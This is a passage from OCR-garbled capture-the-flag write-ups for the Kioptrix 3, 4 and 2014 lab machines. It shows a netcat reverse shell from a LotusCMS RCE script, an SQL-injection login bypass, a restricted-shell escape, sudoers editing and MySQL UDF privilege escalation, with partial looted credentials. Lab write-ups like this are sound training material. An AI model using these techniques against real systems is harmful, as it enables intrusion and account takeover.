| 2 | loneferret | 5badcat789d3d1de9794d8T021f40T0e (starwars) |
e e e e +

Figure 8: writeup.enumeration.steps.6.2

Findings

Open Ports

22/tcp | ssh | OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0)

80/tcp | http | Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Users

lotuscms: dreg, loneferret



Phase #2: Exploitation

1. We find a remote code execution exploit on GitHub for LotusCMS and decide to use it. This exploit gives us a
reverse shell that we can catch using netcat:

nc -nlvp 443
./lotusRCE.sh kioptrix3.com

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 # nc -nlvp 443
listening on [any] 443

connect to [192.168.92.183] from (UNKNOWN) [192.168.92.184] 45465
id

uid=33 (www-data) gid=33(www-data) groups=33(www-data)

uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2089 1686 GNU/Linux

ifconfig

ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 16436 gqdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: ethl: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast glen 10080
link/ether 80:0c:29:3f:ef:00 brd ff:ff:ff:fT:ff:Ff
inet 192.168.92.184/24 brd 192.168.92.255 scope global ethl
inetb TeB0::28c:29ff:fe3f:ef00/64 scope link
valid 1ft forever preferred LTt forever

Figure 9: writeup.exploitation.steps.1.1

@ & https /Igithub.com/Hood3dRob1n/LotusCMS-Exploit/blob/master/lotusRCE.sh

O Why GliHub? Enterprise  Explore Marketplace Pricing S Sign In ‘Slgnup‘

= Hood3dRob1n/ LotusCMS-Exploit ©Wwatech 1 dStar 6 YFok 6
<> Code Issues 0 Pull requests 0 Projects 0 Security Insights
Branch: master~  LotusCMS-Exploit/ lotusRCE.sh Findfile  Copy path
uﬂmanomnnrslconmn b4eaB3d on Sep 8,2012

1 contributor

Executable File 114 lines (99 sloc) 3.65 KB Raw Blame History

eval() Remote Command Execition Exploit
ion, original write-up: http://secunia.com/secunia_research/2011-21/

-path

n netcat based reverse shell ;)

Figure 10: writeup.exploitation.steps.1.2


https://github.com/Hood3dRob1n/LotusCMS-Exploit

10

11

12

13

2. We can also ssh as users dreg or loneferret into the target system using the credentials we dumped from the
LotusCMS database. This is possible because these users have reused their CMS credentials for local system access:

ssh dreg192.168.92.184
ssh loneferret@192.168.92.184

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix3 # ssh loneferret@l9z.168.92.184
loneferret@l92.168.92.184's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sun Sep 29 685:18:26 2819 from 192.168.92.183
loneferret@Kioptrix3:~%
loneferret@Kioptrix3:~% id
uid=10600(loneferret) gid=100(users) groups=180(users)
loneferret@Kioptrix3:~%
loneferret@Kioptrix3:~% uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 1686 GNU/Linux
loneferret@Kioptrix3:~%
loneferret@Kioptrix3:~% ifconfig
ethl Link encap:Ethernet HWaddr 00:8c:29:3f:ef:00
inet addr:192.168.92.184 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe80::28c:29ff:fe3f:efB0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:5102339 errors:23 dropped:91 overruns:@ frame:@
TX packets:3923184 errors:0 dropped:® overruns:®@ carrier:@
collisions:® txqueuelen:1060
RX bytes:748957759 (706.6 MB) TX bytes:791017087 (754.3 MB)
Interrupt:16 Base address:0x1080

Figure 11: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

loneferret@ioptrix3> id
uid=1000(loneferret) gid=100(users) groups=100(users)
loneferret@ioptrix3>
loneferret@ioptrix3> uname
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 1686 GNU/Linuzx
loneferret@ioptrix3>
loneferret@ioptrix3> ifconfig
ethl: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast glen 1000
link/ether 00:0c:29:3f:ef:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.92.184/24 brd 192.168.92.255 scope global ethl
inet6 fe80::20c:29ff:fe3f:ef00/64 scope link
valid_lft forever preferred_lft forever
loneferret@Kioptrix3>
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loneferret@Kioptrix3> users
root

loneferret

dreg

10



Phase #3: Privilege Escalation

1. We continue as user loneferret since this user has an interesting sudo entry:

1 sudo -1

2 User loneferret may run the following commands on this host:
3 (root) NOPASSWD: !/usr/bin/su
4 (root) NOPASSWD: /usr/local/bin/ht

loneferret@Kioptrix3:~% sudo -1
User loneferret may run the following commands on this host:
(root) MOPASSWD: !fusr/bin/su
(root) MOPASSWD: fusr/local/bin/ht
loneferret@Kioptrix3:~%

Figure 12: writeup.privesc.steps.1.1

2. We find that the user loneferret can run the ht editor with sudo privileges and as such can modify any system
file. We decide to open the /etc/sudoers file and edit the entry for user loneferret and give this user unrestricted
sudo access:

1 sudo ht
2 /etc/sudoers
3 loneferret ALL=(ALL) ALL

xlr—————————————— /Jetc/sudoers
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
# ty in other things as well.
# See the man page for details on how to write a sudoers file.
#

Defaults env_reset legal)
# Host alias specification

# User alias specificationird challenge.

# Cmnd alias specification

# User privilege specification

root ALL=(ALL) ALL
loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht

# Uncomment to allow members of group sudo to not need a password
# (Note that later entries override this, so you might need to move
# it further down)

# %sudo ALL=NOPASSWD: ALL

Figure 13: writeup.privesc.steps.2.1

3. Once the above changeas are done, we can now switch to root to complete the challenge:
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1

sudo su

loneferret@kioptrix3:~% sudo -1

[sudo] password for loneferret:

User loneferret may run the following commands on this host:

(ALL) ALL

loneferret@Kioptrix3:~%

loneferret@Kioptrix3:~%

loneferret@ioptrix3:~% sudo su

root@Kioptrix3: /home/loneferret#

root@Kioptrix3:/home/loneferret# id

uid=0({root) gid=8(root) groups=0(root)

root@Kioptrix3: /home/loneferret#

root@Kioptrix3:/home/loneferret# uname -a

Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 1686 GNU/Linux

root@Kioptrix3: /home/loneferret#

root@Kioptrix3: /home/loneferret#

root@Kioptrix3: /home/loneferret# ifconfig

ethl Link encap:Ethernet HWaddr 00:0c:29:3f:ef:00
inet addr:192.168.92.184 Bcast:192.168.92.255 Mask:255.255.255.0
inet6é addr: fe80::20c:29ff:fe3f:ef00/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:15080 Metric:1
RX packets:838903 errors:23 dropped:91 overruns:® frame:0
TX packets:632040 errors:0 dropped:0 overruns:@ carrier:0
collisions:® txqueuelen:1068
FX bytes:716837241 (67.7 MB) TX bytes:112573741 (107.3 MB)
Interrupt:16 Base address:@x1080

Figure 14: writeup.privesc.steps.3.1
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root@Kioptrix3:~# cat Congrats.txt

Good for you for getting here.

Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this WM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.

Again, these WMs are beginner and not intented for everyone.

Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.

I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com

Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS:
http://www.lotuscms.org

Gallery application:

Gallarific 2.1 - Free Version released October 18, 20609
http://www.gallarific.com

VYulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html

And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17883/

Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

root@Kioptrix3:~#

Figure 15: writeup.privesc.steps.3.2
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Loot
Hashes

Credentials

lotuscms: dreg/Mas..., loneferret/star..
mysql: root/fucke...
ssh: dreg/Mas..., loneferret/star....

References

[+] https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
[+] https://v3ded.github.io/ctf/kioptrix3.html
[+] https://www.abatchy.com /2016 /12 /kioptrix-3-walkthrough-vulnhub
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https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
https://v3ded.github.io/ctf/kioptrix3.html
https://www.abatchy.com/2016/12/kioptrix-3-walkthrough-vulnhub

[VulnHub] Kioptrix: Level 1.3 (#4)

Date: 08/0ct/2019

Categories: oscp, vulnhub, linux
Tags: exploit_ sqli, exploit_ credsreuse, privesc_shell escape, privesc_mysql root, privesc_mysql udf

Overview
This is a writeup for VulnHub VM Kioptrix: Level 1.3 (#4). Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#25"

# ID

Name Rating Difficulty 05 0SCPlike  Owned TTPs

@ é privesc_shell_escape
privesc_mysql_root
privesc_mysql_udf

1. vulnhub#25 Kioptrix: Level 1.3 (#4)

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_sqli&unscoped_q=exploit_sqli
https://github.com/7h3rAm/writeups/search?q=exploit_credsreuse&unscoped_q=exploit_credsreuse
https://github.com/7h3rAm/writeups/search?q=privesc_shell_escape&unscoped_q=privesc_shell_escape
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_root&unscoped_q=privesc_mysql_root
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_udf&unscoped_q=privesc_mysql_udf
https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
https://github.com/7h3rAm/machinescli

[VulnHub] Kioptrix: Level 1.3 (#4)

1192.168.92.131 |

Y
Phase #1: Enumeration

Y Y Y Y

137/udp | | 139/tcp | 445/tcp | 22/tcp| 80/tcp

L 4

.liggoat login page-

L4

Phase #2: Exploitation

4

sqli using sglmap < sqli manual

Y h 4

passwords for users john and robert password for user john

¥

ssh john@l%2.168.92.131

¥

restricted shell

Y

echo os.system('/bin/bash')

shell (john)

; h 4 .
Phase #3: Privilege Escalation

- . 4
/var/www/checklogin.php « I Imysql running as root

Y

. h 4 .
mysql creds for user root‘ mysql udf: /usr/lib/lib_mysqludf_sys.so

h 4 h 4
‘select sys_exec('usermod -a -G admin john');

. Y .
sudo su

Y
‘root‘

Figure 2: writeupjoverview.killchain



TTPs

1. 80/tcp/http/Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch): exploit_sqli,
exploit_ credsreuse, privesc_shell escape, privesc_mysql_root, privesc_mysql udf


https://github.com/7h3rAm/writeups#exploit_sqli
https://github.com/7h3rAm/writeups#exploit_credsreuse
https://github.com/7h3rAm/writeups#privesc_shell_escape
https://github.com/7h3rAm/writeups#privesc_mysql_root
https://github.com/7h3rAm/writeups#privesc_mysql_udf
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Oct 8 15:47:02 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN
s /root/toolboz/writeups/vulnhub.kioptrics/results/192.168.92.131/scans/_quick_tcp_nmap. txt
o —0X
s /root/toolboz/writeups/vulnhub.kioptrizs/results/192.168.92.131/scans/xzml/_quick_tcp_nmap.zml
o 192.168.92.131
Nmap scan report for 192.168.92.131
Host is up, received arp-response (0.0012s latency).
Scanned at 2019-10-08 15:47:03 PDT for 35s
Not shown: 566 closed ports, 430 filtered ports
Reason: 566 resets and 430 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:£2:39:14:b9:d3:20:0b:e8:41:71 (DSA)
| ssh-dss
< AAAAB3NzaClkc3MAAACBAJQxDWMK4xxdEEdMAOYQLb1zXV5xx6s1DUANQmyouzmobMxTcImV10£YOvB2LUjJwSbtuPn |
< /Ef7LCik29SLab6FD59Qs JKz3t0£X1UZJ9FeoxPhoVsfk+
- LDM4FbQxoOpPYh1QadVHAicjUnON15WaaUEYuelAoU36v2wOKKDe+kRAAAAFQDAmqYNY10u705qEfZx0e9+
< XNUJ2QAAATAt6puNENxfFnl74pmuKgeQaZQCsPnZ1SyTODcP961mwFvTMHWD4pQsg0j6G1PUZrXUCmeTcNqbUQQHei1618U1zM04xFY
< /FGd1r3TqKXu+
< jQxTmp7xvNBVHoT3rKPqcd12qtweTj1YK1cHgW5XL3mR1Nw91JrhM1AAAATAWHQLIOjwyAFvUhjGQEVK1YOQoCoNLGEFd |
= +wcrMLjpZEz7/Ay9ThyuBuRbeR/TxjitcUX6CC58cF5KoyhyQytFH17ZMpegb9x29mQiAg4wK1MGOi9D80U1cW/COd |
o /E8LvrNLxMFllatLVscw/WXXTi8fFmOEzkGsaRKCENiQhDlg==
| 2048 85:40:c6:d5:41:26:05:34:ad:£8:6e:£2:a7:6b:4f:0e (RSA)
| _ssh-rsa AAAAB3NzaClyc2EAAAABIWAAAQEAPpA/
< UX21q4JYXncTEDfBoyJWguuDkWDvyw4H1Lyc1UBT3Pn2wnYLYaOMjwkBtPilmf5X1zK1z3su7o0BEcSEt607RzDEUbC106nRvY40SKw
= +YDtLneY6IriJjHJODgNyXalPbQ36VZgu2009dH8ItDk]j1ZTxRHPE6RNPiD1aZSLo452LNU3N+/2M/ |
< ny7QMvIyPNkcojeZQWS7RRSDa21EUw1X1ECL6zCMiWCOlhciZf5ieum9MnATTF3dgk4BnCq6dfdEvaeOavSypMcs6no2CJ2j9PPoAQ
< /W1AZzEbfna9YQ2cx8sW/W/9GfKASSuLFt1u0iQ==
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntub.6
< with Suhosin-Patch)
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| _http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:9E:D6:27 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| _clock-skew: mean: -5hO0m23s, deviation: 2h49m43s, median: -7h00m24s

| nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:

00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 OO 00 00 00

| KIOPTRIX4<00> Flags: <unique><active>
| KIOPTRIX4<03> Flags: <unique><active>
| KIOPTRIX4<20> Flags: <unique><active>
|  WORKGROUP<1le> Flags: <group><active>
|  WORKGROUP<00> Flags: <group><active>
| Statistics:

|

|
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00 00 00 00 00 00 OO OO OO0 0O 00 00 00 00

p2p-conficker:

Checking for Conficker.C or higher...

Check 1 (port 10904/tcp): CLEAN (Timeout)

Check 2 (port 63363/tcp): CLEAN (Couldn't connect)

Check 3 (port 50750/udp): CLEAN (Failed to receive data)
Check 4 (port 25142/udp): CLEAN (Failed to receive data)
0/4 checks are positive: Host is CLEAN or ports are blocked

smb-os-discovery:

0S: Unix (Samba 3.0.28a)

Computer name: Kioptrix4

NetBIOS computer name:

Domain name: localdomain

FQDN: Kioptrix4.localdomain

System time: 2019-10-08T11:47:00-04:00

smb-security-mode:

account_used: guest

authentication_level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)

_smb2-security-mode: Couldn't establish a SMBv2 connection.
_smb2-time: Protocol negotiation failed (SMB2)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Tue Oct 8 15:47:38 2019 -- 1 IP address (1 host up) scanned in 36.59 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

#

1

2.

k.

4 openports

Port Protocol Service

Scans

22/tcp ssh ttl 64 OpenSSH &4.7pl Debian Bubuntul.2 (protocol 2.0)

139/tcp netbios-ssn ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  netbios-ssn  ttl 64 Samba smbd 3.0.28a (workgroup: WORKGROUP)

./results/192.

./results/192.
./results/192.
./results/192.
./results/192.
./results/192.
./results/192.

168.92.

168.92.
168.92.
168.92.
168.92.
168.92.
168.92.

131/scans/tcp_22_ssh_nmap.txt

131/scans/enumélinux. txt
131/scans/smbclient. txt
131/scans/tcp_139_smb_nmap. txt
131/scans/enumélinux. txt
131/scans/smbclient. txt
131/scans/tcp_445_smb_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. From the SMB scan, we find that there are 3 users (other than root) on the target system:

Users on 192.168.92.131 |

index: Ox1 RID: Ox1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)

index: 0x2 RID: Oxbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)

index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)

index: 0x4 RID: Oxbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)

index: 0x5 RID: Oxbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)


https://github.com/Tib3rius/AutoRecon

Findings

Open Ports

22/tcp | ssh | OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0)

80/tcp | http | Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntub5.6 with
< Suhosin-Patch)

137/udp | netbios-ns | Microsoft Windows netbios-ns (workgroup: WORKGROUP)
139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp | netbios-ssn | Samba smbd 3.0.28a (workgroup: WORKGROUP)

Users

ssh: root, robert, john, loneferret
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Phase #2: Exploitation

1. We find a login page at http://192.168.92.131:80/index.php and successfully bypass it via a sqli. Once
logged in, the webapp shows the unhashed/cleartext password for user john. We repeat the process to obtain
password for user robert as well (loneferret is not registered on this web application):

name: john
password: ' or 1=1 -- -

name: robert
password: ' or 1=1 -- -

Member's Control Panel
Username : robert
Password : ADGAdsafdfwtdgadfga==

| Logout |
Figure 4: writeup.exploitation.steps.1.1

Member's Control Panel
Username : john
Password : MyNamelsJohn

Lugoutl

Figure 5: writeup.exploitation.steps.1.2

User loneferret

Oups, something went wrong with your member's page account.
Please contact your local Administrator
to fix the issue.

Back

Figure 6: writeup.exploitation.steps.1.3

2. We successfully ssh as user john since this user has reused their web application credentials:

ssh john@192.168.92.131



root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix4 # ssh john@192.168.92.131
john@192.168.92.131's password:

Welcome to LigGoat Security Systems - We are Watching

== Welcome LigGoat Employee ==

LigGoat Shell is in place so you don't screw up

Type '?' or 'help' to get the list of allowed commands

john:~% help
cd clear echo exit help 11 lpath 1s
john:~%

Figure 7: writeup.exploitation.steps.2.1

3. We find ourselves in a restricted Ishell that severly limits usability. We escape this restricted shell by running
the echo command with os.system function:

1 echo os.system('/bin/bash')

john:~%

john:~% echo os.system('/bin/bash')

john@Kioptrix4:~%

john@Kioptrix4:~% id

uid=1801(john) gid=10801(john) groups=115(admin),1001{(john}

john@Kioptrix4:~%

john@Kioptrix4:~% uname -a

Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 28:21:17 UTC 2009 i686 GNU/Linux

john@Kioptrix4:~%

john@Kioptrix4:~% ifconfig

ethl Link encap:Ethernet HWaddr ©0:0c:29:9e:d6:27
inet addr:192.168.92.131 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
RX packets:965327 errors:16 dropped:67 overruns:0 frame:@
TX packets:814455 errors:0 dropped:® overruns:® carrier:0
collisions:@ txqueuelen:1000
RX bytes:126829768 (120.9 MB) TX bytes:176814024 (168.6 MB)
Interrupt:17 Base address:@0x2000

lo Link encap:Local Loopback
inet addr:127.0.8.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:16 errors:0 dropped:0 overruns:® frame:@
TX packets:16 errors:® dropped:® overruns:® carrier:@
collisions:® txqueuelen:@
RX bytes:800 (800.0 B) TX bytes:800 (800.0 B)

john@Kioptrix4:~%

Figure 8: writeup.exploitation.steps.3.1

Phase #2.5: Post Exploitation

1 john@Kioptrix4> id
2 1id=1001(john) gid=1001(john) groups=1001(john)


https://github.com/ghantoos/lshell
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john@Kioptrix4>

john@Kioptrix4> uname

Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 4686 GNU/Linux

john@Kioptrix4>

john@Kioptrix4> ifconfig

ethl Link encap:Ethernet HWaddr 00:0c:29:9e:d6:27
inet addr:192.168.92.131 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:934395 errors:16 dropped:67 overruns:0 frame:0
TX packets:784540 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:122108860 (116.4 MB) TX bytes:172750491 (164.7 MB)
Interrupt:17 Base address:0x2000

john@Kioptrix4>

john@Kioptrix4> users

root

loneferret

john

robert



Phase #3: Privilege Escalation

1. We explore the web directory and find mysql credentials for user root:

john@Kioptrix4:/var/www$ 1ls -la
total 44

drwxr-xr-x 5 root root 4096 2012-02-06 11:44

drwxr-xr-x 14 root root 4096 2012-02-84 09:57 ..

-rw-r--r-- 1 root root 1477 2012-82-06 11:31 checklogin.php
-rw-r--r-- 1 root root 298 2012-02-04 11:11 database.sqgl
drwxr-xr-x 2 root root 4096 2012-02-06 11:44 images
-rw-r--r-- 1 root root 1255 2812-82-06 12:07 index.php
drwxr-xr-x 2 root root 4096 2012-02-84 18:33 john
-rw-r--r-- 1 root root 176 2012-02-84 12:39 login success.php
-rw-r--r-- 1 root root 78 2012-02-04 11:33 logout.php
-rw-r--r-- 1 root root 606 2012-82-06 15:42 member.php
drwxr-xr-x 2 root root 4096 2012-02-04 18:30 robert

john@kKioptrixd: /var/www$
john@Kioptrix4d: /var/www$
john@Kioptrix4:/var/www$ cat
=?php

ob start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysqgl password

$db name="members"; // Database name
$tbl name="members"; // Table name

checklogin.php

Figure 9: writeup.privesc.steps.1.1

2. We explore running processes and find that mysql is executing with elevated privileges (pid: 4638). We search
for the required mysql shared object file and find it at /usr/1ib/lib_mysqludf_sys.so. This means we can run
custom commands from within mysql shell as user root:

john@Kioptrix4:/var/www$ ps aux | grep mysql
root 520 7

4596 0.0 0.1 1772 11:45
root 4638 0.4 6.4 127292 33176 ? S
root 4640 0.0 0.1 1700 560 ? 5
john 6087 0.0 0.1 3004 752 pts/0 R+
john@Kioptrix4:/var/wiw$

john@Kioptrix4:/var/www$ locate lib_mysqludf sys.so
Jusr/lib/lib_mysqludf sys.so
john@Kioptrix4:/var/www$

0:00 /bin/sh susr/bin/mysqld safe
0:42 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid
11:45 6:00 logger -p daemon.err -t mysqld safe -i -t mysqld

14:31 0:00 grep mysql

—skip-external-locking --ports

Figure 10: writeup.privesc.steps.2.1

3. We connect to mysql as user root and execute a command to add user john to the admin group:

mysql -h localhost -u root -p

2

3

select sys_exec("usermod -a -G admin john");

exit

10



john@Kioptrix4:/var/www$ mysql -h localhost -u root -p
Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 64419

Server version: 5.8.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select sys exec("usermod -a -G admin john")

i
e +
| sys exec("usermod -a -G admin john") |
B +
| NULL |
e +

1 row in set (8.05 sec)

mysql=
mysql= Bye
john@Kioptrixd: /var/www$

Figure 11: writeup.privesc.steps.3.1

4. Now we can change to user root and complete the challenge:

sudo su
cat /root/congrats.txt

john@Kioptrix4: /var/www$ sudo su

[sudo] password for john:

root@Kioptrix4d: /var/ www#

root@Kioptrixd: /var/www# id

uid=8(root) gid=0(root) groups=0(root)

root@Kioptrixd: /var/ www#

root@Kioptrix4: /var/www# uname -a

Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 1686 GNU/Linux

root@Kioptrixd: /var/www#

root@Kioptrixd: /var/www# ifconfig

ethl Link encap:Ethernet HwWaddr 90:8c:29:9e:d6:27
inet addr:192.168.92.131 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1
RX packets:932803 errors:16 dropped:67 overruns:® frame:@
TX packets:784208 errors:0 dropped:8 overruns:® carrier:8
collisions:0 txqueuelen:1080
RX bytes:121926958 (116.2 MB) TX bytes:172674686 (164.6 MB)
Interrupt:17 Base address:8x2008

Figure 12: writeup.privesc.steps.4.1
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root@kioptrix4:~# cat congrats.ixt
Congratulations!
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.

Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:
www . kKioptrix.com

Thanks for playing,
loneferret

root@Kioptrixd:—#

Figure 13: writeup.privesc.steps.4.2
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Loot
Hashes

Credentials

liggoat: john/MyNamels...., robert/ADGAdsafdfwtédga......
ssh: john/MyNamels...., robert/ADGAdsafdfwtdga......

References
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[+] https://web.archive.org/web/20190822075547 /https://www.adampalmer.me/iodigitalsec/2013/08 /13 /mysql-
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[VulnHub] Kioptrix: 2014 (#5)

Date: 09/0ct/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ pchart, exploit_ phptax, privesc_ freebsd

Overview
This is a writeup for VulnHub VM Kioptrix: 2014 (#5). Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#62"

Az vulnhub#62 Kioptrix: 2014 (#5) [ ] @ &
privesc_freebsd

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/kioptrix-2014-5,62/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_pchart&unscoped_q=exploit_pchart
https://github.com/7h3rAm/writeups/search?q=exploit_phptax&unscoped_q=exploit_phptax
https://github.com/7h3rAm/writeups/search?q=privesc_freebsd&unscoped_q=privesc_freebsd
https://www.vulnhub.com/entry/kioptrix-2014-5,62/
https://github.com/7h3rAm/machinescli

Kioptrix: 2014 (#5)

192.168.92.185
Y
Phase #1: Enumeration‘

.
80/tcp

Y
8080/tcp ‘

4
html comment: pChart2.1.3/index.php

4 y
http://192.168.92.185/pChart2.1.3/index.php Mozilla4_browser
Phase #2: Exploitation
L \J
burp proxy: useragent: Mozillad4_browser | edb: 31173

>

‘_--' ‘ —
/phptax/ webapp  directory traversal: /../../etc/passwd directory traversal: /../../usr/local/etc/apache22/httpd.conf

|

edb: 25849

\
netcat (www)

Ll

Phase #3: Privilege Escalation |

‘free;sd 9]
:edb: v28718:
[root |
Figure 2: writeup.overview.killchain
TTPs
1. 80/tcp/http/Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8):

exploit_ pchart
2. 8080/tcp/http/Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8):

exploit_ phptax, privesc_ freebsd


https://github.com/7h3rAm/writeups#exploit_pchart
https://github.com/7h3rAm/writeups#exploit_phptax
https://github.com/7h3rAm/writeups#privesc_freebsd
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Oct 9 12:11:53 2019 as: mmap —-vv —--reason —Pn -sV -sC

» —-version-all -olN

o~ /root/toolboz/writeups/vulnhub.kioptrizb/results/192.168.92.185/scans/_quick_tcp_nmap. txt
< -0X

s /root/toolboz/writeups/vulnhub.kioptrizs/results/192.168.92.185/scans/xml/_quick_tcp_nmap.zml

~ 192.168.92.185

Nmap scan report for 192.168.92.185

Host is up, received arp-response (0.00043s latency) .

Scanned at 2019-10-09 12:11:53 PDT for 35s

Not shown: 997 filtered ports

Reason: 997 no-responses

PORT STATE SERVICE REASON VERSION

22/tcp closed ssh reset ttl 64

